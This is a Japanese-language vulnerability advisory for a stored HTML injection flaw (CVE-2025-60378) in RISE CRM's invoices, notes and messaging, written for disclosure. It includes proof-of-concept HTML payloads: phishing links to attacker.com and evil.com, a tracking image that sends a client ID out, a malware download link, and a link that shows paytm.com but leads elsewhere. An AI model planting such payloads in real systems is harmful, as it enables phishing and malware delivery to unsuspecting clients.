⚠️ セキュリティアドバイザリ
請求書、メッセージング、自動通信に影響を与える重大な保存型HTMLインジェクションの脆弱性
-ff6600){kind=icon}
RISE Ultimate Project Manager & CRM において、認証済みユーザーが請求書の明細項目、クライアントメモ、メッセージングモジュールに悪意のあるHTMLを注入できる、重大な保存型HTMLインジェクションの脆弱性が発見されました。注入されたコンテンツはデータベースに永続化され、クライアント向けメール、PDF、チャット通信で自動的にレンダリングされるため、大規模なフィッシング攻撃、ビジネスメール詐欺（BEC）、メール/PDFベースのマルウェア配信が可能になります。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2025-60378 |
| タイプ | 保存型HTMLインジェクション |
| CWE | CWE-79 |
| 攻撃ベクトル | ネットワーク/リモート |
| 認証 | 必要（低権限） |
| ユーザー操作 | 不要 |
| 深刻度 | 高（HIGH） |
| CVSS v3.1 | 8.1 - 高 |
| 発見者 | Ajansha Shankar |
RISE CRM は、請求書、メッセージ、クライアントメモなど、複数のユーザー編集可能なフィールドにおいて、HTMLコンテンツのサニタイズとエンコーディングを適切に行っていません。認証済みユーザーがこれらのフィールドにHTMLペイロードを注入すると、コンテンツは適切なフィルタリングなしでデータベースに保存されます。その後、この悪意のあるHTMLは、適切なエスケープ処理なしに、クライアント向けメール、PDF添付ファイル、メッセージング/チャットモジュールで自動的にレンダリングされます。定期請求書と自動メッセージングは、悪意のあるコンテンツを複数の受信者に同時に配信することで、攻撃を増幅させます。
| 要素 | 影響 | 説明 |
|---|---|---|
| 機密性 | 🔴 高 | フィッシングによりクライアントの認証情報や機密データが収集される可能性 |
| 完全性 | 🔴 高 | 悪意のあるコンテンツが通信やビジネス関係の認識を改ざんする可能性 |
| 可用性 | 🟡 低 | システム可用性への直接的な影響は限定的 |
低権限のプロジェクトマネージャーアクセス権を持つ攻撃者が、悪意のあるHTMLを含む請求書を作成します:
<a href="https://attacker.com/fake-payment">Click here to view payment status</a>
この請求書は自動メールで100人以上のクライアントに送信されます。全クライアントが、フィッシングサイトへ誘導する正規の請求書のように見えるものを受け取ります。攻撃者は複数の被害者から同時に認証情報を収集します。
攻撃者がクライアントメッセージに悪意のあるHTMLを注入します:
<img src="https://attacker.com/track.gif?user=CLIENT_ID">
<a href="https://malware.com">Download Updated Project Files</a>
すべてのチームメンバーとクライアントがチャットでメッセージを受信し、リンクをクリックしてマルウェアをダウンロードします。
攻撃者がマルウェア配信ペイロードを含む定期請求書を設定します。毎月、クライアントは悪意のあるコンテンツが埋め込まれた請求書を自動的に受信し、持続的な攻撃ベクトルを提供します。
移動先: RISE CRM ダッシュボード → 請求書/メッセージ → 新規作成
<a href="https://attacker.com">Click here to view invoice</a>
<a href="https://evil.com" target="_blank">
<img src="https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExbzg4OXRuZHd4MXF0bWNqa3BvN2pzbWdqMzRxZHc5bHJpbXpucHNtaSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/9PgvV8ale90lQwfQTZ/giphy.gif">
</a>
<h1><font color=red>Visit Our New WebSite</font></h1>
<h3><mark><a href="https://evil.com">https://www.paytm.com/</a></mark></h3>
✅ 注入されたHTMLがエスケープ処理なしでメール、PDF、メッセージングにレンダリングされる ✅ リンクがクリック可能で、攻撃者のサイトにリダイレクトされる ✅ 画像が攻撃者管理のサーバーから読み込まれる ✅ コンテンツが将来のすべてのクライアント通信に永続化される ✅ 定期配信が複数の受信者に自動的に届く
| 日付 | イベント |
|---|---|
| 未定 | 脆弱性を発見 |
| 未定 | ベンダーに通知 |
| 未定 | CVE-2025-60378 採番 |
| 未定 | パッチリリース（v3.9.4） |
| 未定 | 公開開示 |
発見者: Ajansha Shankar
ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
スコア: 8.1（高）
内訳:
ご質問や追加情報については:
⭐ この調査が役に立った場合は、このリポジトリにスターを付けることをご検討ください！
🔔 最新情報を入手: このリポジトリと今後のセキュリティ調査の更新をウォッチしてください。